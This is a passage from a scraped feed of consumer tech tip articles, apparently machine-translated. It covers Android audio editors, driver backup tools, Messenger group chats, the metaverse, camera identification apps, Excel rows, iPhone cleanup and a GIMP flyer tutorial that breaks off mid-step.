Cutter Mix Converter   \nAudio MP3 Cutter Mix Converter allows users to cut MP3 files into ringtones, mix two or more audio files, mix audio clips and changemetadata fields(metadata field)such as Art Cover, music album name, multi audio, convert from one format to MP3, AAC, WAV.\n14. Audio Evolution Mobile Studio   \nThe Evolution Mobile Studio audio is a multimedia audio platform and MIDI recording studio on Android with support for more than 250 USB audio and MIDI interfaces, virtual tools, editing with redo feature (redo / undo) Unlimited, mix audio, real-time effects, automation and more.Record voices, sounds from guitar, piano or any other sound source.In addition, the application also creates drum and synth sounds using soft key piano or external MIDI keyboard.\n15. Mp3 Editor, Cutter \u0026amp; Merger   \nMp3 Editor, Merger \u0026amp; Cutter is the complete music editing tool for Andoid phones.The Mp3 Editor is used to edit, merge and configure the audio files installed as ringtones on the device.\n16. Audio Editor   \nAudio Editor is a professional audio editing tool for your daily needs with most useful and handy features for editing audio in seconds.This application can cut, compress, convert and merge audio clips into one file easily.\n# 17 Auphonic Edit   \nIf you are looking for an easy-to-use audio editing application, Auphonic Edit is the perfect choice for your Android smartphone.You can post-process, code, tag and publish podcasts, interviews, and on-the-go recording with just one click.\n18. Timbre   \nTimbre is an application for editing audio and video files.It allows you to edit, cut, merge and convert audio files.The application is completely free and without ads.A special thing is that this application allows users to convert text into speech.\n19. MixPad Music Mixer Free   \nThis application contains a number of powerful and professional audio recording and mixing devices.Users can create their own music with this easy-to-use audio mixer.The application also supports most audio formats.\n20. edjing Mix   \nIf you love DJs, edjing Mix must definitely be in your 'must have \"tools, this application has an intuitive interface that gives you quick and direct access to all the features you need to Create a vivid remix music.\nAbove is the top 20 best audio editing applications for Android.With these applications, you can easily edit any audio file on your Android device and turn them into ringtones.Hope you like these apps and share them with your friends.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGtnZpqVqMFuudSsoJxlkaOxbq3UnaCoZZWZtrW1zaBkmqigobakrdOipqerXZu8s3nAp5urp5mZ\n","link":"/post/top-20-best-music-and-audio-editing-applications-for-android/","section":"post","tags":null,"title":"Top 20 best music and audio editing applications for Android"},{"body":"For those who often 'dabble' the computer, the backup Driver, Backup Driver is a very necessary thing. They will help users to revert to old versions of Driver in just one note and will not generate unintended errors related to Driver. Currently on the market there are many software to support backup, Backup Driver, but most are paid software. In this article, Software tips will introduce to you Top 5 backup software, backup Driver is good and completely free.\n1. Free Driver Backup   Free Driver Backup is the leading solution for those who backup drivers to update different driver versions. The software currently being released is completely free, so people can use it without worrying about copyright. Free Driver Backup software supports users to backup drivers, manage the backed up drivers and restore drivers from data in archives quickly and effectively. Besides the features related to driver backup, the software also supports users to update new driver versions if needed.\nDownload\u0026nbsp;Free Driver Backup here\n2. Driver Fix   Driver Fix not only provides solutions to fix driver errors, update drivers on the computer, but they also allow users to back up, backup Drivers before interfering inside the computer or changing different driver versions. . The software is currently released for free and they are used by many people as a backup driver tool in case of emergency, need to reinstall old drivers to avoid errors or reduce performance due to versions. update from carrier.\nDownload\u0026nbsp;Driver Fix here\n3. Easy Driver   Driver Easy is known to automatically update the most effective Driver on the computer today. However, in addition to updating Driver, Driver Easy also supports users to backup, backup Driver before installation, edit so that there are no unexpected errors. Driver Easy software was released completely free of charge and now there are more than 3 million drivers stored on the system to serve the driver update cases. For the backup feature, backup Driver, Driver Easy software works very well when they can recognize all the drivers on the computer, including the drivers of peripheral devices such as: Printer, mouse, keyboard,…\nDriver's backup and backup features on Driver Easy software have been improved with updates, so errors seem to be absent. User backup drivers are a snap with just a click and driver management after backup is also very simple on the system.\nDownload\u0026nbsp;Easy Driver here\n4. Driver Max   Driver Max will be the perfect solution for those who need to back up and back up drivers continuously while using their computer. In addition to manual driver backup, Driver Max software also provides a solution to automatically backup drivers by preset date and time to prevent users from forgetting. The features on Driver Max are similar to other software, they support to update drivers, backup drivers, install drivers on Windows computers quickly and effectively.\nDownload\u0026nbsp;Driver Max here\n5. Driver Fusion   Driver Fusion will help users to backup, backup drivers quickly and effectively. During the driver backup, the user can keep track of driver versions, latest installation milestones and other relevant information. In addition to backing up the main drivers, Driver Fusion also supports users to backup the extended drivers such as: Printer, mouse, headset, keyboard, .\nDownload\u0026nbsp;Driver Fusion here\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqnvsSeZJ2qmauys3nBmpqkraBiwLCy07CYq51dZ31zfA%3D%3D\n","link":"/post/top-5-best-free-driver-backup-software-2021/","section":"post","tags":null,"title":"Top 5 Best Free Driver Backup Software 2021"},{"body":"Currently, on the mobile game market, there are many games supporting Vietnameseization and transliteration, making it easier for users to access. However, there are still titles that have guides, visionaries (tutorial), . in English it is difficult to understand. Sometimes you will encounter words that you don't know, especially in games we can't copy / paste text. At the time if you have to exit the game and go through the dictionary app to look up, it is quite time consuming and affects the gaming experience.\nTherefore, if you often play games with English, owning an application to support English translation while playing games on the phone, is not necessary to switch between apps is necessary, right? Bubble Dictionary will be an effective tool to help you do this.\nTrick to speed up Android phones after a period of use How to fix the game playing error is escaping on Android Instructions for activating and using Game Tools mode on Samsung Instructions for translating English immediately while playing games on Android phones\nTo translate English while playing the game, you need to click on the link below to download the Bubble Dictionary app to your Android device. The application is quite light, so the download and installation process is very quick.\nDownload the Bubble Dictionary app for Android The above process is complete, you access the application and reset the language, scroll to the English - Vietnamese section and click the download button as shown. Then, click on it to enable English to Vietnamese translation.\n   Bubble Dictionary is a great application to help you look up words directly while playing games. When you open this application, it is just a blurry bubble on the screen, when you need to look up any word, move the bubble from there, immediately the meaning of the word will appear.\n  As in this tutorial, there are photos illustrating from the Mushroom Age game of Hidden Object category, you can experience on any game that you like to understand right away. Operation of Bubble Dictionary.\n  Working with this application is quick and simple, not only good when playing games, but Bubble Dictionary is also suitable for all situations that need to be looked up directly such as reading newspapers, ebook, photos, kindle, pdf, . Also , this app also supports translating both sentences and paragraphs quite useful.\n   Thus, the Network Administrator has introduced to you the application to help translate English when playing games on Android phones, hopefully this application solves the problem of quick translation and supports you to play games more effectively.\nWish you all have fun playing games!\nSee more:\nGood English game, learning while playing 16 effective English word puzzle games on Android and iOS Notes when playing 3D games on Android devices ncG1vNJzZmismaXArq3KnmWcp51kwbOtzayjmqyVYrKvs8uiqqFlp52yr3nPpZiyoZ6ceqitzJ6qZqeeYq6vsNGooJ1lp57BqbvUrWScoJGjtKq6xmaroZ1dlr2x\n","link":"/post/translate-english-when-playing-games-on-android-without-changing-the-app/","section":"post","tags":null,"title":"Translate English when playing games on Android without changing the app"},{"body":"PowerPoint allows users to edit the shapes (shapes) drawn in the slide. You can combine shapes with Merge or change shape shapes with Edit Points.\nIn this article, TipsMake.com will guide you how to use Edit Point to change the shape of the shape very easily.\nFirst, open PowerPoint and select the shape you want to change, redraw. If no shape is available, you insert it by clicking Insert\u0026gt; Shapes\u0026gt; Select Shape . Try doing with an isosceles triangle.\nAfter selecting the shape, go to the Shape Format tab .\nNext, go to Insert Shapes group and click Edit Shape.\nFrom the drop-down menu, select Edit Points.\nNow, to change the shape, click and drag the black edit points to the desired position.\nThere are several white correction points that appear, use them to change the curvature of the line between two black correction points.\nThis feature has allowed you to completely change the original shape shape structure. While simple, Edit Points can bring about interesting results, depending on your creativity.\nPlease try it.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjJ6boqxdpbyqutOsZK2nXZi1orrGnmSsoJGlsm6%2Fx5qnnqtdnrtuvM6wnKuon567tQ%3D%3D\n","link":"/post/use-edit-points-to-change-shape-shapes-in-powerpoint/","section":"post","tags":null,"title":"Use Edit Points to change shape shapes in PowerPoint"},{"body":"Along with the popular chat applications such as Zalo , Viber . Facebook Messenger is chosen by many users. Using completely independent Facebook, Messenger can still help you contact people in your Facebook friends list.\nYou can make chats with a person, or with a group of friends. In particular, the Messenger application also supports group calls with stable quality. And while group chat, users can also perform operations such as changing group photos, changing chat colors, . In this article, we will guide you to some tricks when chatting. group on Facebook Messenger .\nChat groups on Facebook Messenger 1. Turn on / Turn off Messenger group notifications: 2. Set a nickname for the chat group: Step 1: Step 2:  3. Change Messenger chat color: 4. Change emoticon chat group: 5. Add friends to the chat group: 6. Change the Messenger chat group name: 7. Change Avatar Messenger chat group: 8. Create a shortcut for the group: 9. Leave Messenger chat group: 10. Share chat group link: 11. Managing participation requirements: 12. Managing team members: 13. Plan for the group: 14. Group report: Refer to the following articles:  1. Turn on / Turn off Messenger group notifications: Just like when you have a private chat, we can also turn off notifications with group chat. Turning off this notification will help users focus on work more. The implementation is also very simple.\nFirst, click on the group name . In the interface, scroll down and select the Notifications item. Click on that item and appear more time options.\nFor 15 Minutes (In 15 minutes). For 1 Hour (In 1 hour) For 8 Hours. For 24 Hours. Until turn it back on (When I turn it back on). You click on the time you want to turn off and you will see a time notification in Notification.\n    2. Set a nickname for the chat group: Also in the settings for the group will have the option Nicknames. Users can set a nickname for each member of the chat group as they wish, with a simple change.\nStep 1: Click on the group name, and select Nicknames . Switch to the Nickname interface with the members' current names. To give a member a nickname, please click on that member.\n   Step 2: Next, enter the new name you want to set and click Save . After that, you will see the new nickname we have placed for your friends in the list.\n   3. Change Messenger chat color: In addition to refreshing group chats with a nickname, we can also change the color of the conversation. Click Color , select the color you want to change. And then, the conversation has changed in new colors.\n    4. Change emoticon chat group: By default Facebook, the chat group's icon will be the traditional Like icon. However, we can also change to a new emoticon.\nIn the group details view, select the Emoji item. Next, select new emoticons to finish.\n    5. Add friends to the chat group: While chatting, the need to add friends to the group is normal. And to add friends to the Messenger chat group, we follow the steps:\nIn the setting interface for the group, click the Add people item. In the Add pane, we just need to enter your friend's name and click Done . A message appears, click OK to agree.\n    6. Change the Messenger chat group name: Your chat group has used the group name for a long time and wants to change the wind with a newer name. At the interface of the tip, click the word Edit . Group options appear, click Change Name . Enter a new name and click Done .\n    7. Change Avatar Messenger chat group: Changing a group photo is also relatively easy, as if we were to change the name for the group.\nYou also click Edit and select Change Group Photo . The application will ask if you want to take a picture (Take news) or take a photo from the album (Open Camera roll). If you select an existing photo in the album, just select it and click Done .\n    8. Create a shortcut for the group: If you want to open a chat Messenger group, you can chat faster then you can bring that group to the Home interface. As such, we don't need to go into the group section, find the chat group in the usual way.\nAt the Messenger application main interface , click the Groups group icon . The list appears with Messenger chat groups. In the chat group you want to bring up the Home interface, click the 3 small dots icon . Then select Upin Group .\nBack in the application's Home interface , you will see the group name appear there.\n    9. Leave Messenger chat group: If the user has no need to participate in the conversation, then the Leave Group feature can be selected.\nAt the group information setting, scroll down and you will see the Leave Group item. Check the box and appear when leaving the group will not receive more messages from the group. Click Leave to agree to leave the group.\n   Here are some tips to help you master the Messenger application, as well as experience more exciting features when joining a chat group with friends.\n10. Share chat group link:     With this new feature, users can easily share their chat group with anyone via the link that links with other applications. To share the chat group you do the following: Click on share group link\u0026gt; click Copy link and send to the people you want to invite to the chat group , if you do not want to use this way, you can Can click Disable .\n11. Managing participation requirements:    This feature will allow you to ensure the confidentiality and privacy of the group, not allowing unknown strangers to interfere with the general conversation. To enable this feature, you can click the Request to join the group\u0026gt; Approved administrator . So every time someone new, the administrator agrees to be allowed to enter.\n12. Managing team members:     This feature will allow you to more easily manage the members in this chat group. In particular, this feature allows you to nominate who will be the Administrator of the group, who will take all the rights in the hands of anyone else, approve the new invitation, even click the disruptive members out of the group.\n13. Plan for the group:    If the group plans to go out or schedule certain meetings and needs to be remembered by everyone in the group, you can use the Group Planning feature on Messenger. When you activate this feature, the date and time you set will always appear on the conversation and it is almost time for Messenger to automatically send notifications to the whole group so you are not worried about forgetting information or having to notify for all members.\n14. Group report:    If you don't like the group, then you have the right to leave that group, but if the group shares the bad content, you have the right to report to Facebook by clicking on Something wrong .\nRefer to the following articles: How to log out of Facebook Messenger on iOS, Android and Windows Phone How to chat with Chatible strangers on Facebook Messenger How to login to multiple accounts on Facebook Messenger I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kxrDBjKyfqK2cmXqvu9NmoKCmn6eybsDHnmSgqp%2BqvW6vx5qrZqyinrCsv4yopWaekZiyo7vOpGSmnaOosq%2BzxKs%3D\n","link":"/post/you-should-not-ignore-the-group-chat-tricks-on-facebook-messenger/","section":"post","tags":null,"title":"You should not ignore the group chat tricks on Facebook Messenger"},{"body":"In October 2021, Mark Zuckerberg announced that Facebook would change its name to Meta.\nMeta is an adjective that means an object is referring to itself. But at the same time, it also stands for something called the metaverse.\nThis announcement was met with curiosity, skepticism, and the obvious question: \"What exactly is the metaverse?\" It sounds like the metaverse is pretty much like virtual reality.\nSo how is the metaverse different from virtual reality, and do you need a Facebook-made VR headset to access it?\nWhat is the difference between Metaverse and virtual reality (VR)? If you've read through the articles about the metaverse, the similarities between it and virtual reality are hard to deny. However, there are some important differences.\nHere are 6 key differences between virtual reality and metaverse.\n1. Virtual reality is well defined, Metaverse is not The most notable difference between virtual reality and the metaverse is that while VR is now well understood, the actual metaverse is still very vague.\nAccording to Mark Zuckerberg, the metaverse is \"an embodiment of the Internet, where instead of just viewing the content, you can stay in it\". A recent announcement from Microsoft described the metaverse as \"a digital world where digital twins of people, places, and things exist\".\nThese descriptions are rather vague when compared to our understanding of virtual reality. It is also possible that even the technology companies themselves do not have a complete definition of the concept.\nAccording to Facebook, the decision to rebrand is a necessary part of building the metaverse. The company wanted a name that better represented what the company was doing. But it's certainly not the only good reason to do so. The image of Facebook is also not very good in the eyes of users.\nIt has also been suggested that the metaverse is nothing more than a buzzword to describe technological innovations in the existing Internet.\n2. Facebook does not own either of these technologies   Another potential question about the metaverse is who can actually define it.\nAs the owner of the Oculus Rift, Facebook played an important role in the development of virtual reality. But at the same time, the firm is just one player in a huge industry.\nThe same is true of the metaverse. Facebook may have changed its name to Meta, but it's not the only company entering the field. For example, Microsoft recently announced Microsoft Mesh, a version of its mixed reality platform with similarities to the metaverse and many different definitions. Furthermore, a recent statement from Facebook alludes to the fact that the company considers itself part of the metaverse. This means that, like VR, the metaverse will not be confined to a single company.\n3. Metaverse includes a shared virtual world Metaverse is a shared virtual space that users can access through the Internet. Again, this is what VR headsets have clearly allowed you to do. The virtual space in the metaverse sounds similar to the space that already exists in virtual reality shows.\nUsers are expected to be identified by personal avatars and interact with each other in virtual locations. In addition, they will be able to purchase or build virtual items and environments, such as NFTs.\nThe fundamental difference is that although virtual worlds are currently limited in size, the metaverse sounds like it will provide access to the entire Internet.\n4. Metaverse will be accessible in virtual reality Metaverse will not require you to wear a VR headset. But it is believed that much of this service will be accessible to headset users.\nThis means that the line between surfing the Internet and using virtual reality can be blurred. VR headsets can begin to be used for tasks normally performed with smartphones.\nIf the metaverse becomes as widespread as Facebook hopes, VR is more or less likely to become a niche product.\n5. Metaverse won't be limited to VR   However, the metaverse will not be limited to virtual reality. Instead, it will be accessible by both an augmented reality device and whatever device you already use to connect to the Internet.\nThis opens the door to many different features that are not possible with virtual reality. For example, augmented reality will allow aspects of the metaverse to be projected into the real world.\nVirtual spaces will also be designed so that they can be accessed anywhere without the need for a headset.\n6. Metaverse has much greater potential than VR Virtual reality is currently used for education, therapy and sports. But it is still said to be best suited as a form of entertainment.\nThe Metaverse, at least in scale, sounds like a new and improved version of the Internet. It is expected to change the way people work, access social media and even surf the web, meaning that while many people have completely abandoned virtual reality, the same is unlikely to happen with the metaverse. .\nWill Metaverse replace the Internet? Virtual reality hasn't had quite the impact on the world as some expected. There is a limit to how long people want to wear headphones.\nMetaverse won't have this problem, accessible to both those with and without access to a VR headset. Some expect it to have a much larger impact.\nAt the same time, it is very difficult for the metaverse to completely replace the Internet. VR headsets offer an interesting alternative to computer monitors. Metaverse will provide an interesting alternative to the Internet. But neither is designed to act as a replacement for something else.\nMetaverse virtual reality ncG1vNJzZmismaXArq3KnmWcp51kg263xLJknaGWm7Kzsc2cnKxlkprBuLHEp2SmnaSWw6a%2B0p5kmqaUYsOqvtOumKVlopqurbXTsg%3D%3D\n","link":"/post/6-key-differences-between-metaverse-and-virtual-reality/","section":"post","tags":null,"title":"6 key differences between Metaverse and virtual reality"},{"body":"The phone camera has a lot of uses besides taking photos and videos. It can make everything true with the AR application. And the smartphone camera also functions as an image search engine and identifies everything you see in the world. Here are the best things to identify apps for Android and iPhone.\nThe best camera app for Android Some tips and tricks on using Camera on iPhone (part 1) 5 \"must-have\" selfie apps on Android phones 1. Google Lens: Determine everything Download Google Lens for Android Download Google for iPhone   Google has put their search engines in your camera. Google Lens can identify tons of objects such as animals, plants, flowers, branded utensils and more except humans.\nAlso, for compatible objects, Google Lens will also open shopping links if you want to buy them. You just need to download the application or launch it from Google Assistant and point to the item to identify. Google Lens will tell you if it identifies the object by displaying a small blue icon on the top of the object.\nIPhone users can find Google Lens in the search bar of the main Google application.\nUsing Google Lens to convert images into words, find information easily 2. Pinterest: Design and art Download Pinterest for Android Download Pinterest for iOS   Similarly, Pinterest has a search engine for the images you take with the camera and it will find links and pages for the object it identifies. Pinterest can identify many objects in a complex picture like an outfit.\nLike Google, it will show you a shopping link so you can directly buy the product. Pinterest's image search engine is primarily designed to identify similar outfits, designs and categories. For the purpose of exploring nature, you should use Google Lens.\n3. Snapchat: Search for images provided by Amazon Download Snapchat for Android Download Snapchat for iOS   Snapchat comes with a handy image search tool. It is provided and integrated with Amazon product databases.\nTake a photo of the product you are interested in so that Snapchat identifies and issues an Amazon card so you can access the shopping list. In addition, you can also scan barcodes instead of touching objects to search faster.\n4. Amazon: For shopping Download Amazon for Android Download Amazon for iOS   If you don't use Snapchat, you can switch to the official Amazon app. Search by taking product photos or barcodes.\nTo search for a product, select the option on the right side of the search bar, with the camera icon to take a picture. If the corresponding result is found, Amazon will give the list available. However, you cannot export the captured image to the photo library on your phone.\n5. Coinoscope: Identification of coins Download Coinoscope for Android Download Coinoscope for iOS    If you are a coin collector, Coinoscope is definitely the app you are looking for. It can identify both ancient and modern coins.\nCoinoscope works by analyzing the photos you take and displaying relevant results from its archives. In addition to identifying names, Coinoscope also provides additional information such as five types of coins that are put into circulation, origin, value and more.\n6. PlantNet: Plant identification Download PlantNet for Android Download PlantNet for iOS   Another suitable image search tool is PlantNet. From the name you may also know this application will identify all plant species. PlantNet can identify plants, flowers, grasses, cacti and many other species.\nAfter entering an image, PlantNet will display a few similar lists. You can confirm and choose a species that seems closest to what you are looking for. In addition to providing the name of the plant, PlantNet also brings the scientific information and facts about the species you are viewing.\nHow to identify flower names by phone camera 7. Vivino: Identify wine brands Download Vivino for Android Download Vivino for iOS   Next on this list is Vivino, an app that helps you buy better quality wine. All you need to do is take a picture of the alcohol brand you care about.\nVivino will then process and provide some information to help you decide whether to buy it or not. It provides information on popularity, description of flavors, ingredients, age and more. In addition, you can see user reviews, queuing from Vivino's 30-million community.\nEven in some areas, Vivino offers you incentives and helps locate the store where you can buy the wine at the cheapest price. Vivino has now introduced about 9.2 million wines.\n8. DietCameraAI: Food identification and calorie counter Download DietCameraAI for Android Download DietCameraAI for iOS    DietCameraAI can handle food images and automatically add the calories they provide to you. In addition, DietCameraAI has a personal assistant AI, providing feedback about your meal and what changes need to be made to get a more nutritious diet.\nBased on your history and goals, DietCameraAI also prepares your food charts and processes. Of course, you can use DietCameraAI simply as a calorie counter and ignore all the additional features.\nThe best health apps on Android and iOS that everyone should install Thanks to advances in image recognition technology, unknown objects around the world with you are no longer a mystery. With these applications, you have the ability to identify everything, whether it's a tree or a coin.\nThe focus of these platforms is a network of machine learning algorithms. They become more and more popular on digital products, so it's best to have a basic understanding of them.\nncG1vNJzZmismaXArq3KnmWcp51khW6tz6mqZqGUmru1tcWyZJ6ulafGtbTIp55mr5mptW7Ax55kqaCfo7Jur8CmnKuZ\n","link":"/post/8-apps-identify-everything-with-the-phone-camera/","section":"post","tags":null,"title":"8 apps identify everything with the phone camera"},{"body":"Adding one or more blank lines in Excel is a simple trick every Excel user should know to be able to use this office software better. Because of that, TipsMake.com we have written this tutorial for all interested readers.\n  1. Insert a blank line into Excel To insert a blank row into Excel data, you need to highlight the data line below the location where the blank line will be inserted.\nThen there are two ways you can insert blank lines into that position.\nThe first way is that you right-click on the highlighted data line, then you will see an option display table, you select Insert to insert more rows at the selected position.\n  As for the second method, you can open the Home ribbon on the toolbar.\n  Then look to the right of the Cells section , click Insert and select Insert Sheet Rows in the drop-down list.\n  As you will see with the above two methods, a blank line will be inserted above the highlighted line. This line will have the same format as its top line.\n  2. Insert multiple blank lines into Excel To insert multiple blank lines in Excel you can follow the same principle as inserting a single line, but the difference here is that you not only black out one line as above but you need to black out at the same time a lot. current.\nThe number of lines you highlight is the number of lines that will be inserted in Excel at the highlighted position.\nAlso with two similar methods above, the first way you can right-click on the highlighted array and then select Insert in the options panel that appears.\n  The second way to add more rows to Excel data is to open the Home ribbon on the toolbar and then find the Cells section of this ribbon.\nClick on the Insert icon under Cells section and select Insert Sheet Rows .\n  After doing either of the above two methods, you will see many blank lines inserted into Excel carrying the format of the previous line.\nOne more thing, if you want to adjust these formats, you can click on the broom icon below the highlighted area (which is the line just added) and choose one of three options:\n- Format Same As Above: The format is the same as the previous line\n- Format Same As Below: The format is the same as the following line\n- Clear Formatting: Delete all formats.\n  As the illustration below shows, the choice is for Same As Below .\n  Thank you for reading our article TipsMake.com on how to add 1 or more blank lines in Excel very quickly. Wish you can successfully implement this trick based on our tutorial.\nncG1vNJzZmismaXArq3KnmWcp51krqWwyKeeZmldpL9uuc6rnGaanJa7rHnLoqWeq12eu26x15ycpWWZqHqmxNOrnKadnK56p63SrQ%3D%3D\n","link":"/post/adding-1-or-more-blank-lines-in-excel-is-extremely-fast/","section":"post","tags":null,"title":"Adding 1 or more blank lines in Excel is extremely fast"},{"body":"On July 5, 2018, researchers at Toledo University, Ohio, USA announced a new finding that exposure to blue light for a long time can reduce vision, create The toxic molecule in light-sensitive cells in the eye can cause rapid development of macular degeneration and other eye-related diseases.\nGreen light is the type of light that usually emits from smartphones, tablets, TVs and laptops.\n  In the process of investigating how cells respond to daily exposure to blue light, scientists have discovered that, when living cells are exposed to blue light in photosensitive cells. , biological components respond to light in the eyes, appearing toxic chemical molecules.\nDr. Payton said, although not at all, the amount of green light emitted from smartphones is still acceptable. And now, some smartphone manufacturers have also added blue light filters to the screen.\nThe depletion of light-sensitive cells in the retina causes eye diseases such as macular degeneration, which is often associated with age and can cause blindness. In the United States there are 11 million people suffering from yellowing disease and by 2050, this number could double.\nDr. Ajith Karunarathne, one of the study participants, advised people to avoid using smartphones, tablets or laptops in the dark and should wear sunglasses that can filter both ultraviolet and blue light to protect the eyes.\nSee more:\nHow to automatically reduce blue light Windows 10 April 2018 6 must-have green light filtering applications for your computer, phone Enable to limit blue light from PC and Mac computer screens to protect sleep - did you know? 4 simple ways to protect your eyes when working long in front of electronic devices ncG1vNJzZmismaXArq3KnmWcp51ktLOxxKdkpaGXncFustGopGasmJp6tK%2FRnpynZZ%2BberS5wKurqaCfo7JuwMCbo56sXZa7pXnLmqetp6BisKK6jJyYrquVYq%2Bttc2dpZ6ro2Kzor%2FTnqk%3D\n","link":"/post/green-light-from-the-screen-of-smartphone-tablet-and-laptop-can-cause-blindness-faster/","section":"post","tags":null,"title":"Green light from the screen of smartphone, tablet and laptop can cause blindness faster"},{"body":"Smart phones today when used for a period of time will occur slowly or full of memory. The iPhone is rated better in memory management than Android devices, but when used long-term, the iPhone can overflow if the user does not know how to clean them.\n  Today's article, Thuthuatphanmem.vn will guide you how to clean up trash on your iPhone to increase capacity. Please follow along!\nDelete applications, games that are rarely used and take up a lot of document memory. First, go to Settings =\u0026gt; General Settings =\u0026gt; iPhone Storage. Here, the list of applications installed on iPhone will display with the most recently used. You choose applications that take up a lot of space to view information.\n  For example, the TFlat dictionary application, if you see the Documents \u0026amp; Data section is larger than the Application size , it means that the application has a lot of junk data. Just tap Delete app and then go to the App Store to download the app again.\n  Clear browsing data on the Safari browser Just like on a PC, the browser on the smartphone line when used long term will lead to a state of full memory by caching features, browser history, cookies . To clear browsing data on Safari browser, go to Settings =\u0026gt; Safari and find the item Clear history and data .\n  Restore iPhone settings to factory settings and wipe data. If you have tried all of the above methods and you still find it ineffective, you can wipe the data and restore the computer to the original state.\nStep 1: To wipe data on iPhone and put the device to its original state, go to Settings =\u0026gt; General settings =\u0026gt; Reset .\n  Step 2: Click on Delete all content and settings .\n  Step 3: Enter your password if required by the device. Then you click on Delete iPhone to restore factory settings and delete data.\n  With the simple way as above, you can minimize the situation of memory overflow due to junk files on iPhone. Remember to do the first two ways regularly for your device to be stable and durable. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6vedSpZKKomKS7pnnTq5isoF2pvG61zZypnpmjmnqkrc%2BamqKsqQ%3D%3D\n","link":"/post/how-to-clean-up-iphone-trash-to-increase-capacity/","section":"post","tags":null,"title":"How to clean up iPhone trash to increase capacity"},{"body":"In this tutorial, TipsMake.com will show you how to create a professional flyer using GIMP's free image processing and graphic design (open source) program, version 2.9.8. If you have an older version of GIMP (ie GIMP 2.8), you can still follow it because many of the features used in this tutorial are also found in most other GIMP versions. Follow the steps below, you will have a beautiful leaflet. Let's learn how to do it right away!\nInstructions for designing professional leaflets with GIMP Step 1: Download the image and install the brush Step 2: Create new documents and open images Step 3: Delete the background of the image Step 4: Add the gradient background to the flyer layout Step 5: Add shapes to leaflets Step 6: Put the first image into the composition Step 7: Add the Paint Splatter layer behind the dancer image Step 8: Add laser light to the picture Step 9: Mix the elements Step 10: Add text Step 11: Add the rest of the text Step 12: Style text Step 13: Adjust the final details before completing Step 14: Add textures Step 15: Export the final work Step 1: Download the image and install the brush The article will use GIMP Splatter Brushes, fonts Nexa Bold and Nexa Light, Development version of GIMP tool.\nStep 2: Create new documents and open images   To get started, open GIMP and create a new document by going to File\u0026gt; New .\n  Change the unit from pixel (px) to inch (in.) And then set the size for the leaflet. In this example, we will use the size of 5.5 inches x 8.5 inches . Click 'Advanced Options' and make sure the X and Y resolutions are set to 300 pixels / print. This is the best installation if you intend to print leaflets.\n  Open the image by going to File\u0026gt; Open . Navigate to the folder containing the downloaded image, then click on the file (you can create a preview of the image by clicking on the 'Click here to generate image preview' option under the 'Preview' column. ) . Repeat this step until all images are opened in GIMP.\nStep 3: Delete the background of the image Once you've opened the image of the dancing girl and the laser light, use the tabs at the top (if you're in one-window mode) to navigate to the girl's image. We will delete the background of this image, then copy and paste the result into the flyer layout.\n  Start this process by adding a layer mask to the layer of the main image. To do this, click on the 'Main Image' layer (change the name of this layer by double clicking on the name in the layer panel, enter a new name, then press Enter. You can also right-click the layer. and go to the Edit Layer Attributes section to change the name) and click Add Layer Mask .\n  The 'Add a Mask to the Layer' dialog box will appear. In the 'Initialize Layer Mask to:' select 'White (Full Opacity)' , then click Add. Now you have a layer mask added to the Main Image layer .\n  \nNext, select the Paintbrush tool and set the foreground color to black. Select a soft brush and increase the size of this brush by using the size slider or using the [ or ] key on the keyboard. Make sure that the layer mask is selected, then paint black around the girl's image to erase the background areas. You can increase or decrease the brush size to suit each area.\nDrawing on a layer mask is considered a non-destructive editing operation, because you can always bring deleted items back into the composition by turning the color of the brush into white. Conversely, when using the Eraser tool , you cannot bring back the items you deleted, unless you undo the changes you have made (you can undo all the processes you have done after making a mistake). .\n  You will see the background behind the girl becomes transparent when drawing. When applying layer masks, you will see a monochrome color. This means that you cannot apply 'Alpha Channel' to the layer. To apply alpha channel, right click on the layer containing the main image and click on the 'Add Alpha Channel' option . When the alpha channel is added, you can create transparent areas with a layer mask (be sure to click on the layer mask before starting to paint again).\n  After the background has been deleted, select the Crop tool and crop the image so that the extra space around the girl image is minimal.\nStep 4: Add the gradient background to the flyer layout   Use the tabs at the top of the window, navigate to the empty leaflet layout. Select the Blend tool and select the pink color for foreground (HTML: 931562) and dark pink (HTML symbol: 1b0504) for the background. Set the Gradient to 'FG to BG (RGB)' and set the shape of the gradient to 'Linear'.\n  \nClick on the top of the layout. Hold down the Ctrl key on the keyboard and drag the gradient down to the bottom. Holding Ctrl is to make sure the gradient is drawn in a straight line. Leave the lighter color at the top, then gradually switch to a darker color at the bottom. In the latest version of GIMP (2.9.8), you can edit the gradient directly - which means you can change the foreground and background colors, change the orientation, shape and type or move the position of the gradient - with changes displayed on the layout as soon as you make them. The gradient (in blend mode) will be applied when you select another tool and will no longer be editable at that time. Often people will use the Move tool when ready to apply the settings for the gradient.\nStep 5: Add shapes to leaflets   Once you have the background for the leaflet, select the Paths tool in the Toolbar. Then create a new layer (the new layer creation icon is located at the bottom left of the Layers panel ) and name it 'Wavy shape'. In GIMP 2.9.8, you can add color tags to the layer, helping to keep the relevant layers in order in the layer panel. For example, we will place a purple tag for this layer. Make sure the background for the layer is set to Transparent. Click OK to create a new layer.\n  Use the Paths tool to create points and draw paths through the composition. If you click and drag, a curved path at that point will be created.\n  When creating a curved point, the next point you draw will have the path bent in the opposite direction by default. This is the desired effect because for example it is in need of a wavy shape. Draw the remaining points along the path path outside the layout, around the bottom frame. The last point should be drawn a little lower than the first point, then click and drag that point so that the point coincides with the first point you draw. This will connect the points to create a complete shape.\n  Next, click on 'Selection from path' to create a selection using the points you've just drawn.\n  Select the Bucket Fill tool , choose black as your foreground color and with the Wavy shape layer selected, fill it with black. When the selection is filled, go to Select\u0026gt; None to deselect the selection. Reduce the opacity of the Wavy shape layer to about 50% by using the \"Opacity\" slider, making this layer blend better with the background.\nStep 6: Put the first image into the composition   Now, we have the background and shape created for the flyer layout. Next, we will place the dancer image (deleted the previous background) into the layout. Navigate to the dancer image and go to Edit\u0026gt; Copy Visible .\n  Then, navigate back to the flyer layout and press Ctrl + V on the keyboard. This will place the removed background image into a floating selection layer. Click on that layer and select 'Add new layer' . This will add a dancer image to a separate layer (called 'Pasted Layer' by default). You can double click on the layer name to change its name to 'Dancer' ).\n  Now, you need to expand this layer a bit because the dancer image looks a bit small. With the Dancer layer selected, go to Layer\u0026gt; Scale Layer .\n  Change the percentage unit (%), as well as increase the width and 